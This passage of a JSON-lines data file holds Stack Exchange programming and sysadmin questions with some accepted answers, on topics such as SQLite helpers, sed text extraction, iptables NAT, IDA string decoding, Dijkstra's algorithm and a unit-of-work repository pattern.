tables.Dispose();            }            return false;        }        /// <summary>        /// Wipes all the data from the specified table.        /// </summary>        /// <param name=table>The table to be wiped.</param>        /// <returns>A boolean true or false to signify success or failure.</returns>        public bool WipeTable(String table)        {            try            {                ExecuteNonQuery(String.Format(delete from {0};, table));                return true;            }            catch (Exception e)            {                Console.WriteLine(SQLite Exception : {0}, e.Message);            }            return false;        }    }}"  , "title": "SQLite helper class"  , "tags": "c#;sqlite"  } 
{  "id": "_unix.172296"  , "question": "I'm currently experiencing an issue whilst trying to create a bash script that restarts the LXPanel so that the image I use for the background is updated (I'm trying to make a tool that keeps me focused on my current task and this was the best solution I could come up with) - I'm almost there but it seems that the LXPanel crashes ALWAYS after the 6th restart.I've tried using lxpanelctl restart but it does not respond.On inspection in /var/log/apport.log the error returned is that /usr/bin/lxpanel is blacklisted. A log-out then log-in brings it back up and I am able to run the program using lxpanel in the command line but it's obviously not using the config file.Is there a way to take this program out of the blacklist and is there any way to find out why this is crashing only on the 6th attempt (I've tested this several times and it is always on the 6th)?Please let me know if you need more info; I've only been using Linux for the last few months so there's lots I don't know yet."  , "title": "LX Panel crashing mysteriously after 6 restarts"  , "tags": "lxde;lubuntu"  } 
{  "id": "_webmaster.58001"  , "question": "A simple (probably stupid) question: is it possible to show different pages for www and non-www versions of a website?I mean for example, www.example.com will show the content in /mainfolder and domain.com will show the content in /secondfolder.I don't want to redirect, like if the user goes to www.domain.com he will be redirected to domain.com/www - I don't want that, I just wanna know how to show 2 different index.html files, one for the www version of the website and one for the version without www.Or if possible, how can I create the www subdomain in cPanel (as it won't let me) - any way to override this?UPDATEI tried this .htaccess edit and it worked partially:RewriteCond %{HTTP_HOST} =www.site.comRewriteRule ^(.*)$ http://site.com/folder/ [P]It now shows the contents of site.com/folder when users access www.site.comhowever it doesn't load the CSS of the page - any way to fix this?"  , "title": "How to show different pages for www and non-www versions"  , "tags": "subdomain;no www"  } 
{  "id": "_codereview.90553"  , "question": "Utility to calculate the square root of a number. The method also accept an epsilon value, which controls the precision. The epsilon value could range to any number including zero. I am expecting a general code review or if there is a better way to write the code./** * The class MathUtil contains methods for performing basic numeric operations     such as the squareRoot functions. Square root of 2.0: 1.4142135623746899 */public class MathUtil {    /**     * Returns the correctly rounded positive square root of a double value.     * Special cases: If the argument is NaN or less than zero, then the result     * is NaN. If the argument is positive zero or negative zero, then the     * result is the same as the argument. Otherwise, the result is the double     * value closest to the epsilon.     *      * Function takes a non-negative real number             *      * @param a double     * @param epsilon double     * @return double     */    public static double squareRoot(final double a, final double epsilon) {        if (a == 0)            return a;        else            return internalSqrRoot(a, a / 2, epsilon);    }    /**     * Method internalSqrRoot.     *      * @param a double     * @param x double     * @param epsilon double     * @return double     */    public static double internalSqrRoot(final double a, final double x,            final double epsilon) {        if (closeEnough(a, x, epsilon)) {            return x;        } else {            return internalSqrRoot(a, betterGuess(a, x), epsilon);        }    }    /*     * return true if the current guess is close enought o accepted value     * Method closeEnough.     *      * @param a double     * @param x double     * @param epsilon double     * @return boolean     */    public static boolean closeEnough(double a, double x, double epsilon) {        return (Math.abs(x - ((a / x) + x) / 2)) <= epsilon;    }    /*     * perform a simple manipulation to get a better guess (one closer to the     * actual square root) by averaging y with x/y     * Method betterGuess.     * @param a double     * @param x double     * @return double     */    public static double betterGuess(double a, double x) {        return ((a / x) + x) / 2;    }}"  , "title": "Utility Method to find the Square root of a number"  , "tags": "java;mathematics;reinventing the wheel;numerical methods"  , "accepted_answer": "Duplicated logicAvoid duplicated logic like this:public static boolean closeEnough(double a, double x, double epsilon) {    return (Math.abs(x - ((a / x) + x) / 2)) <= epsilon;}public static double betterGuess(double a, double x) {    return ((a / x) + x) / 2;}The closeEnough method includes the exact same logic as betterGuess.Make it a habit to look at duplicated code fragments with suspicion.If you eliminate the duplication, the code becomes:public static boolean closeEnough(double a, double x, double epsilon) {    return (Math.abs(x - betterGuess(a, x))) <= epsilon;}public static double betterGuess(double a, double x) {    return ((a / x) + x) / 2;}... but then, does this actually make sense? Calling betterGuess from closeEnough? Not really. How can you check if a candidate square root is close enough? You cannot compare with the real square root, because that's the target unknown. What you can compare with, is the original number, which you should be able to get by squaring:public static boolean closeEnough(double a, double x, double epsilon) {    return Math.abs(a - x * x) <= epsilon;}This implementation is more logical, and has another positive side effect:it makes it possible to clean up the squareRoot method with the suspicious 0-check:public static double squareRoot(final double a, final double epsilon) {    if (a == 0)        return a;    else        return internalSqrRoot(a, a / 2, epsilon);}The method can become simply:public static double squareRoot(final double a, final double epsilon) {    return internalSqrRoot(a, a / 2, epsilon);}It would seem the 0-check was there to prevent a division by zero problem in Math.abs(x - ((a / x) + x) / 2))Method visibilityThe MathUtil class name suggests it's a utility class,but the public MathUtil.betterGuess method (to name just one) doesn't seem very useful.It's an implementation detail that should be hidden, so make it private.Question the other methods too, and change their visibility as appropriate.The variable names are quite poor. For example in closeEnough it's impossible to tell if the target number is a or x.target and candidate might have been better names.Input validationMore than just commenting Function takes a non-negative real number ,it would be better to enforce that by throwing an IllegalArgumentException.Poor JavaDocThis kind of JavaDoc is worse than no JavaDoc at all:/** * Method internalSqrRoot. * * @param a double * @param x double * @param epsilon double * @return double */It's worse, because tells nothing new about the method,but since it's there, I've read it, in vain.Minor thingsIt's recommended to use braces even with single-line if statementsRedundant parentheses in the expression (Math.abs(x - ((a / x) + x) / 2))Perhaps instead of internalSqrRoot, squareRootHelper might be a better name. Or, since the method has a different signature than squareRoot, it can just as well be squareRoot (overloading)"  } 
{  "id": "_unix.124572"  , "question": "I am using Fedora 20, and whenever a new line opens in the command line terminal, the cursor, which is a solid black rectangle, flashes on and off about ten times, then remains steady. I think I have read somewhere that I can do something useful during the flashing period, but I have forgotten what it was, or where to find the reference again; or am I just imagining it?Please can someone confirm or explain this?In response to @sim's query about the terminal emulator:[Harry@localhost ~]$ echo $TERMxterm-256color"  , "title": "Why does terminal cursor flash briefly?"  , "tags": "fedora;xterm;cursor"  , "accepted_answer": "I can't find anything about something useful you can do during that time (though some random undocumented feature would not surprise me). However, it seems that this behavior is to save energy (by not having to wake up the GPU and redraw the screen for each blink).See the related question, and the (rejected) GNOME bug."  } 
{  "id": "_codereview.123732"  , "question": "I created event delegation like concept which is present in jQuery. AFAIK, event delegation is used to register an event for an element which is supposed to be added dynamically. So, in jQuery we do the following:$(document.body)    .on('click', '.main', function(){ /* code here */ });    .on('click', 'div.main', function(){ /* code here */ });     .on('click', 'div#main.main', function(){ /* code here */ });     .on('click', 'div#main.main[attr=1]', function(){ /* code here */ });So, instead of doing this event delegation in jQuery, I am doing using pure JavaScript. Here is my code:var sb = (function () {    var eventObject = {};    document.body.addEventListener('click', function(e){        console.dir(e.currentTarget);        var el = e.target;        var parent = el.parentElement;        while(parent !== document.body){            for(var item in eventObject){                var elements = document.querySelectorAll(item);                for(var i = 0, ilen = elements.length; i < ilen; i++){                    if(el === elements[i]){                        eventObject[item].call(el, e);                        return;                    }                }            }            el = parent;            parent = el.parentElement;        }    }, false);    return {        on: function(event, selector, callback){            eventObject[selector] = callback;            return sb;        }    }})();As you can see, in the above code, I have hard coded the click event (which is fine for now)Now, I will use the above code like this:sb    .on('click', '.main', function(){ /* code here */ });    .on('click', 'div.main', function(){ /* code here */ });     .on('click', 'div#main.main', function(){ /* code here */ });     .on('click', 'div#main.main[attr=1]', function(){ /* code here */ });This is working fine but I feel like I am overdoing things here in the above created plugin."  , "title": "Event delegation without jQuery"  , "tags": "javascript;reinventing the wheel;event handling;delegates"  } 
{  "id": "_codereview.173210"  , "question": "In the following Python implementation I have used color coded vertices to implement the Dijkstra's Algorithm in order to take negative edge weights.G16 = {'a':[('b',3),('c',2)], 'b':[('c',-2)], 'c':[('d',1)], 'd':[]} # the graph is a dictionary with they key as nodes and the value as a # list of tuples# each of those tuples represent an edge from the key vertex to the first # element of the tuple# the second element of the tuple is the weight of that edge. # so, 'a':[('b',3),('c',2)] means an edge from a to b with weight 3 # and another edge from a to c with weight 2. class minq:           #min_queue implementation to pop the vertex with the minimum distance    def __init__(self,dist):        self.elms = []     def minq_len(self):        return len(self.elms)    def add(self,element):        if element not in self.elms:            self.elms.append(element)    def min_pop(self,dist):        min_cost = 99999999999                          for v in self.elms:                                         min_cost = min(min_cost,dist[v])        for key,cst in dist.items():            if cst == min_cost:                if key in self.elms:                    v = key        self.elms.remove(v)        return vdef modified_dijkstras(graph,n):     cost = {}     color = {}            # color interpretation: w = white = unvisited, g = grey = to be processed, b = black = already processed    for vertex in graph:         cost[vertex] = 9999999     #setting cost of each vertex to a large number        color[vertex] = 'w'        #setting color of each vertex as 'w'    q = minq(cost)    q.add(n)     cost[n] = 0                     while q.minq_len() != 0:        x=q.min_pop(cost)        color[x] = 'g'                                  for j,cost_j in graph[x]:            temp = cost[j]            cost[j] = min(cost[j],cost[x] + cost_j)            if cost[j] < temp and color[j] == 'b':  #if the cost varries even when the vertex is marked 'b'                color[j] = 'w'                      #color the node as 'w'            if  color[j] != 'g':                                    color[j] = 'g'                q.add(j)                        #this can insert a vertex marked 'b' back into the queue.         color[x] = 'b'                              return cost   The following is what is returned when you run the code on the Python interpreter with the graph defined on top:>>>import dijkstra>>>G16 = {'a':[('b',3),('c',2)], 'b':[('c',-2)], 'c':[('d',1)], 'd':[]}>>>dijkstra.modified_dijkstras(G16,'a'){'a': 0, 'b': 3, 'c': 1, 'd': 2} Please let me know if this algorithm has a better runtime than Bellman Ford as I am not iterating through all the vertices repeatedly.Please also report your analysis of the run time for this algorithm, if any."  , "title": "Dijkstra's Algorithm modified to take negative edge weights"  , "tags": "python;algorithm;graph"  } 
{  "id": "_scicomp.16347"  , "question": "Suppose I have an unstructured polygonal mesh system like so: Each node $x$ has Cartesian coordinates $(x_1,x_2)$, so for a given node can form matrices like this: $$J(x,y,z) = \\left(\\begin{array}{cc}y_1-x_1 & z_1-x_1 \\\\ y_2-x_2 & z_2-x_2 \\end{array}\\right) = (y-x,z-x)$$If my mesh were structured, i.e. a mapped Cartesian grid so that $(x_1,x_2) = (x_1(\\xi,\\eta),x_2(\\xi,\\eta))$, then these matrices would be approximations to the Jacobian matrix of the map $(\\xi,\\eta)\\mapsto x$.  My question is, for an unstructured mesh like the one above, what are my $J(x,y,z)$ approximations of?  Is there a well-defined, underlying continuum mapping for an unstructured grid?  "  , "title": "Jacobian matrices on unstructured grids: underlying map?"  , "tags": "unstructured mesh"  } 
{  "id": "_webmaster.101740"  , "question": "The title is self-explained, darn I have to type and match 30 characters constraint"  , "title": "How can Similarweb.com monitor traffic of one website they don't own?"  , "tags": "traffic;web traffic"  } 
{  "id": "_ai.1925"  , "question": "My question is regarding standard dense-connected feed forward neural networks with sigmoidal activation.I am studying Bayesian Optimization for hyper-parameter selection for neural networks. There is no doubt that this is an effective method, but I just wan't to delve a little deeper into the maths.Question: Are neural networks Lipschitz functions?"  , "title": "Are FFNN (MLP) Lipschitz functions?"  , "tags": "neural networks;optimization;math"  , "accepted_answer": "I'm not an expert in this area, but it would appear to depend on the choice of activation function:e^x is not Lipschitz continuous. See Analytic functions which are not Lipschitz continuous.tanh(x) is.That said, this paper appears to give some conditions (specifically for dynamic ANNs) for which networks with activation function involving e^x can be Lipschitz continuous, so possibly the above is not the whole story."  } 
{  "id": "_softwareengineering.41678"  , "question": "I'm developing a Driver Safety Monitoring System which is kind of small software which would be implemented inside a car with connections to few cameras. What I want to know is to implement this software inside the vehicle what kind of computer can I use?"  , "title": "How to implement software for my vehicle"  , "tags": "software;mobile;artificial intelligence"  , "accepted_answer": "www.mp3car.com has a lot of resources and information on installing computers into cars. Of course they are usually using the computers for playing music, but a computer is computer right? It's up to you to choose what software you want to run on it."  } 
{  "id": "_softwareengineering.119825"  , "question": "Lots of specialized mobile devices use Windows CE or Windows Mobile.I'm not talking about smart phones here -- I know that Windows Phone 7 is Microsoft's current technology of choice here. I'm talking about barcode readers, embedded devices, industry PDAs with specialized hardware, etc... the kind of devices (Example 1, Example 2) where Windows Phone Silverlight development is not an option (no P/Invoke to access the hardware, etc.).Since direct Compact Framework support has been dropped in Visual Studio 2010, the only option to develop for these device currently is to use outdated development tools (VS 2008), which already start to cause trouble on modern machines (e.g. there's no supported way to make the Windows Mobile Device Emulator's network stack work on Windows 7).Thus, my question is: What are Microsoft's plans regarding these mobile devices? Will they allow native applications on Windows Phone, such that, for example, barcode reader drivers can be developed that can be accessed in Silverlight applications? Will they re-add native Compact Framework support to Visual Studio and just haven't found the time yet? Or will they leave this niche market?"  , "title": "What's Microsoft's strategy on Windows CE development?"  , "tags": ".net;mobile;windows phone 7"  , "accepted_answer": "I think the roadmap of Windows CE is still clear, because there's Microsoft Windows CE 7, the next successor of Windows CE 6.x.Frustatingly, they named the product officially as Microsoft Windows Embedded Compact 7, but they said it's because in line with Windows 7 releases, only now for embedded.http://www.microsoft.com/windowsembedded/en-us/develop/windows-embedded-compact-for-developers.aspxfor Windows Embedded Compact 7:http://www.microsoft.com/windowsembedded/en-us/develop/windows-embedded-compact-7-for-developers.aspxI suggest you install VS 2008 for Windows CE 7 because VS 2008 support Windows CE5, CE6 and CE7 devices, and VS 2010 still can't support Windows CE devices.This is from CE7 website:NEW: Developing with Windows Embedded Compact 7 (formerly CE)  Just released, Windows Embedded Compact 7 (the next generation of Windows  Embedded CE) is based on the power of the Windows 7 platform. Compact  7 is a real-time operating systems for a wide range of small-footprint  consumer and enterprise devices. Development tools like Platform  Builder, a Visual Studio 2008 plug in, provide an integrated  development environment (IDE) that enables you to build applications  and Windows Embedded CE operating system software in a familiar  environment.And Windows CE 7 has little relation with Windows Phone 7, because they share the same code base of basic services of Windows 7. There's also no detail information about Silverlight running on Windows CE 7, but I can assure you they support it:http://www.microsoft.com/windowsembedded/en-us/develop/windows-embedded-compact-7-user-interface-development-gui-design.aspx"  } 
{  "id": "_unix.264702"  , "question": "i have list name.txt with this string :Los Angeles, CA us1.vpn.goldenfrog.comWashington, DC  us2.vpn.goldenfrog.comAustin, TX  us3.vpn.goldenfrog.comMiami, FL   us4.vpn.goldenfrog.comNew York City, NY   us5.vpn.goldenfrog.comChicago, IL us6.vpn.goldenfrog.comSan Francisco, CA   us7.vpn.goldenfrog.comAmsterdam   eu1.vpn.goldenfrog.comCopenhagen  dk1.vpn.goldenfrog.comStockholm   se1.vpn.goldenfrog.comHong Kong   hk1.vpn.goldenfrog.comLondon  uk1.vpn.goldenfrog.comnow i want with sed delete everything before *.vpn.goldenfrog.com ( *=3Char)output i want : hk1.vpn.goldenfrog.comdk1.vpn.goldenfrog.cometc ..."  , "title": "sed remove Space"  , "tags": "command line;text processing"  , "accepted_answer": "If you want a sed solution:sed 's/.*[[:blank:]]\\([^[:blank:]]*\\)$/\\1/' file.txtThe captured group (\\1) will contain the portion of the line after last space, we are using that in the replacement.Example:% sed 's/.*[[:blank:]]\\([^[:blank:]]*\\)$/\\1/' file.txt  us1.vpn.goldenfrog.comus2.vpn.goldenfrog.comus3.vpn.goldenfrog.comus4.vpn.goldenfrog.comus5.vpn.goldenfrog.comus6.vpn.goldenfrog.comus7.vpn.goldenfrog.comeu1.vpn.goldenfrog.comdk1.vpn.goldenfrog.comse1.vpn.goldenfrog.comhk1.vpn.goldenfrog.comuk1.vpn.goldenfrog.comgrep can easily do this too:% grep -o '[^[:blank:]]*$' file.txt                   us1.vpn.goldenfrog.comus2.vpn.goldenfrog.comus3.vpn.goldenfrog.comus4.vpn.goldenfrog.comus5.vpn.goldenfrog.comus6.vpn.goldenfrog.comus7.vpn.goldenfrog.comeu1.vpn.goldenfrog.comdk1.vpn.goldenfrog.comse1.vpn.goldenfrog.comhk1.vpn.goldenfrog.comuk1.vpn.goldenfrog.com"  } 
{  "id": "_unix.24026"  , "question": "There is a directory A whose contents are changed frequently by other people.I have made a personal directory B where I keep all the files that have ever been in A.Currently I just occasionally run rsync to get the files to be backed up from A to B. However I fear the possibility that some files will get added in A, and then removed from A before I get the chance to copy them over to B.What is the best way to prevent this from occurring? Ideally i'd like to have my current backup script run every time the contents of A get changed."  , "title": "How to run a command when a directory's contents are updated?"  , "tags": "files;directory;backup;monitoring"  , "accepted_answer": "If you have inotify-tools installed you can use inotifywait to trigger an action if a file or directory is written to:#!/bin/shdir1=/path/to/A/while inotifywait -qqre modify $dir1; do    /run/backup/to/B doneWhere the -qq switch is completely silent, -r is recursive (if needed) and -e is the event to monitor, in this case modify. From man inotifywait:modify    A watched file or a file within a watched directory was written to."  } 
{  "id": "_unix.273481"  , "question": "The ability to start a phone call from the terminal is mentioned in this transcript of a Q&A-session with the Canonical community team. So - did somebody figure out, how to do it? The terminal app for Ubuntu Phone/Touch is a powerful tool. Edit:I tried to start dialer-app via terminal (terminal app) on my BQ Aquaris E5 HD Ubuntu Edition [Ubuntu 15.04 (OTA-9.1)] with sudo dialer-appAs a result I get the following error: QXcbConnection: Could not connect to displayI tried to google this error, but I was not able to link the suggested solutions to my problem."  , "title": "How to start a phone call from the terminal in Ubuntu Phone?"  , "tags": "ubuntu;terminal"  , "accepted_answer": "You will have to do in this way:ubuntu-app-launch dialer-app tel:///###-###-####"  } 
{  "id": "_reverseengineering.6368"  , "question": "I have the following two lines:  ....  push 401150h  call sub_401253  ....So, when I click on push 401150h IDA PRO shows:  seg0001 : 00401120 dword_401120  dd  6F662F3Ch, 3C3E746Eh, 3E702Fh, 253A4E52h, 54522073h  dd 2073253Ah, 73253A55h, 253A5020h, 656C774h, 616223Dh, 72676B63h, 646E756Fh  dd 0D73h, 7320703Ch, 335504h, 7265464h, 5484531h 55E4ADEh, A585B5448h,   .....(and so on)So, my first question would be : what is this? what it can be?My own results: that thing which I mentioned above is a string because in the function sub_401253 they copy it using lstrcpy() into a buffer: ... lea eax, [esp+1FC + Buffer] ... mov edi, [esp+208+arg_0] push edi,  push eax,  call lstrcpy ...After that, in a next block the content of the buffer(which are the hexadecimal numbers now) is XORed in a loop. I assume that they encrypt or decrypt it (but that is not so importan for me right now.)I only want to know what IDA PRO try to depict with push 401150h which represents the hexadecimal numbers.Thats it. I hope you can help me.best regards,"  , "title": "PUSHing a lot of hexadecimal numbers"  , "tags": "ida;assembly;hexadecimal"  , "accepted_answer": "The data at 00401120 is ASCII-encoded text:3C 2F 66 6F 6E 74 3E 3C 2F 70 3E 00 52 4E 3A 25        </font></p>.RN:%73 20 52 54 3A 25 73 20 55 3A 25 73 20 50 3A 25        s RT:%s U:%s P:%77 6C 65 00 3D 22 62 61 63 6B 67 72 6F 75 6E 64        wle.=background73 0D 00 00                                            s...You can tell IDA to decode those bytes as text by clicking on the data at 00401120 and pressing the A key"  } 
{  "id": "_unix.266231"  , "question": "I have two Debian Jessie servers. One is my home server that I use for personal/hobby stuff, the other is my development server for work. For arguments sake lets say...Personal: 1.1.1.1Development: 1.1.1.2I have one domain. Let's say it's example.com. Currently, Personal calls a Dynamic DNS service every few seconds to tell the DDNS service (Which is hosting my domain.) what my external IP address is. From there, my router is set up to port-forward all requests at ports 21, 22, 80, and 3000 to Personal. I don't want to buy an external IP from my ISP, let alone request two for each server. Also, I would like this setup to be semi-portable. I.E. no matter what router it's connected to as long as the port is open, it works. From a little bit of research I think the answer to my question is a reverse-proxy. I've installed Pound to Personal. However, I have been unable to find a tutorial which is close enough to my situation to reverse-engineer, and have found the amount of example Pound configs and general documentation lacking. This is what I would like to have happen...1) Router port-forwards on ports 21, 22, 80, and 3000 to Personal on those same ports.2) Pound on Personal sends all requests from my domain to Development unless the subdomain was personal.In affect this would mean...personal.example.com -> Personal (1.1.1.1)*.mydomain.com -> Development (1.1.1.2)Can this be accomplished using Pound? If so, what would I put in Pound's config file?"  , "title": "Forward ALL incoming HTTP requests to one of two servers based on subdomain?"  , "tags": "dns;ip;port forwarding;domain;reverse proxy"  , "accepted_answer": "Domain name dispatch is only available to protocols that include domain names, i.e. HTTP and (mostly) HTTPS. Other protocols (such as FTP, SSH) don't include any domain name, but rather the client software uses DNS to resolve a given domain name into an IP address, and then connects using it.So, the short answer would be no.Rather you could set up your routing to present other, different external ports for routing the least used host. E.g, using ports 20021, 20022, 20080 and 23000Or, you could go for a tunneling solution (VPN) to allow portable hosts to access the local network.EDIT: I got confused by the port list you gave. If you're only interested in HTTP and HTTPS (typically ports 80 and 431), then the answer should be yes, and my ramblings should be ignored."  } 
{  "id": "_unix.322636"  , "question": "I'm trying to join Active Directory in Xubuntu 16.04 in a enterprise business enviroment so I'll change the name of my REALM by MY.EXAMPLE.CORP. My issue is: when I runnet ads join -U Administratorit asks me the password for the AD administrator account, I put the password but it stills there, it doesn't give an error or success message. Just still there. The terminal just hanged in thereI tried the kinit and klist commands and the result is:Tickect cache: FILE:/tmp/krb5cc_0Default principal: Administrator@MY.EXAMPLE.CORPValid starting      Expires         Service principal11/11/16 09:58:40   11/11/16 19:58:40   krbgt/MY.EXAMPLE.CORP@MY.EXAMPLE.CORP    renew until   12/11/16 09:58:34I've modified all the files as I've read. krb5.conf, smb.conf, nsswitch.conf"  , "title": "Kerberos net ads join doesn't respond"  , "tags": "active directory;kerberos"  } 
{  "id": "_unix.138651"  , "question": "I'm trying to reflect traffic from the internet to an internal device that I only want to have local access. I have a host in my DMZ that I'm trying to DNAT traffic to this internal device, and SNAT so no internet route is needed.In testing, I am able to DNAT/SNAT from a local computer to this proxy host and access the resources on the internal device. However when accessing the port on my router, I can see the requests arriving at proxy host via tcpdump, and I see them increment the iptables DNAT rule counter, yet no connection is made. Further more local tests increment both the DNAT and SNAT rule counters, but external traffic only increments the DNAT counter.The proxy host was spun up for only this purpose and has no other services. There is one interface with two IPs .254 and .253, Incoming traffic should come to .254 and be SNAT'd from .253 on its way to the internal device. Kernel IPv4 forwarding is also enabled.Below is my iptables config:# Generated by iptables-save v1.4.7 on Sun Jun 22 22:49:18 2014*filter:INPUT ACCEPT [32:4832]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [14:1016]-A INPUT -p tcp -m tcp --dport 443 -j MARK --set-mark 7-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT-A INPUT -p icmp -j ACCEPT-A INPUT -i lo -j ACCEPT-A INPUT -i admin -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT-A INPUT -i admin -p udp -m state --state NEW -m udp --dport 161 -j ACCEPT-A INPUT -i local -p tcp -m state --state NEW -m tcp --dport 5308 -j ACCEPT-A INPUT -i admin -p tcp -m state --state NEW -m tcp --dport 10050 -j ACCEPT-A FORWARD -d 10.254.254.1/32 -p tcp -m state --state NEW,RELATED,ESTABLISHED -mm tcp --dport 443 -j ACCEPT-A FORWARD -j ACCEPT-A INPUT -j ACCEPT-A OUTPUT -j ACCEPTCOMMIT# Completed on Sun Jun 22 22:49:18 2014# Generated by iptables-save v1.4.7 on Sun Jun 22 22:49:18 2014*mangle:PREROUTING ACCEPT [73:6562]:INPUT ACCEPT [33:4290]:FORWARD ACCEPT [18:972]:OUTPUT ACCEPT [18:1408]:POSTROUTING ACCEPT [27:1624]-A INPUT -s 173.214.161.60 -j MARK --set-xmark 0x6/0xffffffff-A FORWARD -s 173.214.161.60 -j MARK --set-xmark 0x5/0xffffffff-A POSTROUTING -s 173.214.161.60 -j MARK --set-xmark 0x4/0xffffffff-A PREROUTING -s 173.214.161.60 -j MARK --set-xmark 0x3/0xffffffff-A OUTPUT -s 173.214.161.60 -j MARK --set-xmark 0x2/0xffffffffCOMMIT# Completed on Sun Jun 22 22:49:18 2014# Generated by iptables-save v1.4.7 on Sun Jun 22 22:49:18 2014*nat:PREROUTING ACCEPT [31:3139]:POSTROUTING ACCEPT [14:1016]:OUTPUT ACCEPT [14:1016]-A PREROUTING -d 10.254.254.254/32 -i dmz -j DNAT --to-destination 10.254.254.2-A POSTROUTING -o dmz -j SNAT --to-source 10.254.254.253COMMIT# Completed on Sun Jun 22 22:49:18 2014"  , "title": "Packets do not cross IP tables Postrouting when originating from an external IP"  , "tags": "iptables;routing"  } 
{  "id": "_webmaster.92767"  , "question": "Wondering if having identical, verified correct by the Google Structured Data Testing Tool, JSON-LD Schema data on index and the same JSON-LD Schema Data on all subpages would create any sort of problem with google search engine?  Could this be hurting my ranking?Webmaster Console recognizes pages with it, and is not complaining."  , "title": "JSON-LD Schema Data on Multiple Pages"  , "tags": "seo;schema.org;json ld"  } 
{  "id": "_codereview.149292"  , "question": "I have gone through all steps to optimize the code, deactivating screenupdate, deactivating calculation, events, and pagebreaks removed the unnecessary selects, adding constants, and etc. However, I don't think my algorithm for coping is the best one, even if it is probably the simplest of them all.For Each cell In currentRange    If cell = vbNullString Then Exit For        cell.Select    cellValue = cell.Value    If cellValue = x Then                                Sheets(sourceData).Activate                          'ActiveCell.Offset(0, -Selection.Column + 1).Range(F1:L1).Select                      ActiveCell.Offset(0, -Selection.Column + 1).Range(F1:L1).Copy                     Sheets(pasteSheet).Activate                     Rows(destinationCell).Select                        Set destinationRange = ActiveCell.Offset(0, -Selection.Column + 1).Range(F1:L1)                       'destinationRange.Select                        destinationRange.PasteSpecial xlPasteValues                     Rows(destinationCell).Range(H1).Cut                       Rows(destinationCell).Range(G1).Insert                        'ActiveCell.Offset(0, -Selection.Column + 1).Range(F1:L1).Select                      destinationCell = destinationCell + 1                       Worksheets(sourceData).Select               End IfNextI copy a range from a row into another sheet, while shifting values from H to G column. I did not manage to create this functionality with .Copy Destination:=, which I think is faster.What would be the best way to optimizing this code?"  , "title": "Copy/Paste of Range"  , "tags": "excel;vba;performance"  } 
{  "id": "_unix.308112"  , "question": "Hy,I'm getting an issue when I'm doing a file on some .php files on apache2 Vhost.Here is the problem: # file *.phpfile1.php:    PHP script, UTF-8 Unicode text, with very long linesfile2.php:    PHP script, UTF-8 Unicode text, with very long linesfile3.php:    HTML document, UTF-8 Unicode text, with very long linesAny ideas on why the system (RHEL) doesn't see file3.php as PHP script ? # head file3.php <?include(./some/files.php);$var=;$var = select var, var from vars order by 2;$var = var($var,$var);while ($var = @var($var)){ var($var) ;  $var .= \\.$var.\\, ;I've changed <? to <?php but nothing has changed.php -vPHP 5.4.16 (cli)"  , "title": "File on php showing HTML document"  , "tags": "files;php"  , "accepted_answer": "The file utility uses different heuristics to determine the file type. It may be the case that file3.php has more HTML-tags than the other two.However, the output of the file utility does not influence your system's operation (unless you are parsing the output, of course).In particular, it is not your system (RHEL) that treats this file as HTML.If it is a valid PHP file, php will execute the script as it should - independent of what file says. (Try php -l file3.php for a syntax check.)"  } 
{  "id": "_codereview.63461"  , "question": "I am designing a web application and a windows service and want to use the unit of work + repository layer in conjunction with a service layer, and I am having some trouble putting it all together so that the client apps control the transaction of data with the unit of work.The unit of work has a collection of all repositories enrolled in the transaction along with commit and rollback operationspublic interface IUnitOfWork : IDisposable{    IRepository<T> Repository<T>() where T : class;    void Commit();    void Rollback();}The generic repository has operations that will be performed on the data layer for a particular model (table)public interface IRepository<T> where T : class {    IEnumerable<T> Get(Expression<Func<T, bool>> filter = null, IList<Expression<Func<T, object>>> includedProperties = null, IList<ISortCriteria<T>> sortCriterias = null);    PaginatedList<T> GetPaged(Expression<Func<T, bool>> filter = null, IList<Expression<Func<T, object>>> includedProperties = null, PagingOptions<T> pagingOptions = null);    T Find(Expression<Func<T, bool>> filter, IList<Expression<Func<T, object>>> includedProperties = null);    void Add(T t);    void Remove(T t);    void Remove(Expression<Func<T, bool>> filter);}The concrete implementation of the unit of work uses entity framework under the hood (DbContext) to save the changes to the database, and a new instance of the DbContext class is created per unit of work.public class UnitOfWork : IUnitOfWork{    private IDictionary<Type, object> _repositories;    private DataContext _dbContext;    private bool _disposed;    public UnitOfWork()    {        _repositories = new Dictionary<Type, object>();        _dbContext = new DataContext();        _disposed = false;    }The repositories in the unit of work are created upon access if they don't exist in the current unit of work instance. The repository takes the DbContext as a constructor parameter so it can effectively work in the current unit of work.public class Repository<T> : IRepository<T> where T : class{    private readonly DataContext _dbContext;    private readonly DbSet<T> _dbSet;    #region Ctor    public Repository(DataContext dbContext)    {        _dbContext = dbContext;        _dbSet = _dbContext.Set<T>();    }    #endregionI also have a service classes that encapsulate business workflow logic and take their dependencies in the constructor.public class PortfolioRequestService : IPortfolioRequestService{    private IUnitOfWork _unitOfWork;    private IPortfolioRequestFileParser _fileParser;    private IConfigurationService _configurationService;    private IDocumentStorageService _documentStorageService;    #region Private Constants    private const string PORTFOLIO_REQUEST_VALID_FILE_TYPES = PortfolioRequestValidFileTypes;    #endregion    #region Ctors    public PortfolioRequestService(IUnitOfWork unitOfWork, IPortfolioRequestFileParser fileParser, IConfigurationService configurationService, IDocumentStorageService documentStorageService)    {        if (unitOfWork == null)        {            throw new ArgumentNullException(unitOfWork);        }        if (fileParser == null)        {            throw new ArgumentNullException(fileParser);        }        if (configurationService == null)        {            throw new ArgumentNullException(configurationService);        }        if (documentStorageService == null)        {            throw new ArgumentNullException(configurationService);        }        _unitOfWork = unitOfWork;        _fileParser = fileParser;        _configurationService = configurationService;        _documentStorageService = documentStorageService;    }    #endregionThe web application is an ASP.NET MVC app, the controller gets its dependencies injectedin the constructor as well. In this case the unit of work and service class are injected. The action performs an operation exposed by the service, such as creating a record in the repository and saving a file to a file server using a DocumentStorageService, and then the unit of work is committed in the controller action.public class PortfolioRequestCollectionController : BaseController{    IUnitOfWork _unitOfWork;    IPortfolioRequestService _portfolioRequestService;    IUserService _userService;    #region Ctors    public PortfolioRequestCollectionController(IUnitOfWork unitOfWork, IPortfolioRequestService portfolioRequestService, IUserService userService)    {        _unitOfWork = unitOfWork;        _portfolioRequestService = portfolioRequestService;        _userService = userService;    }    #endregion[HttpPost]    [ValidateAntiForgeryToken]    [HasPermissionAttribute(PermissionId.ManagePortfolioRequest)]    public ActionResult Create(CreateViewModel viewModel)    {        if (ModelState.IsValid)        {            // validate file exists            if (viewModel.File != null && viewModel.File.ContentLength > 0)  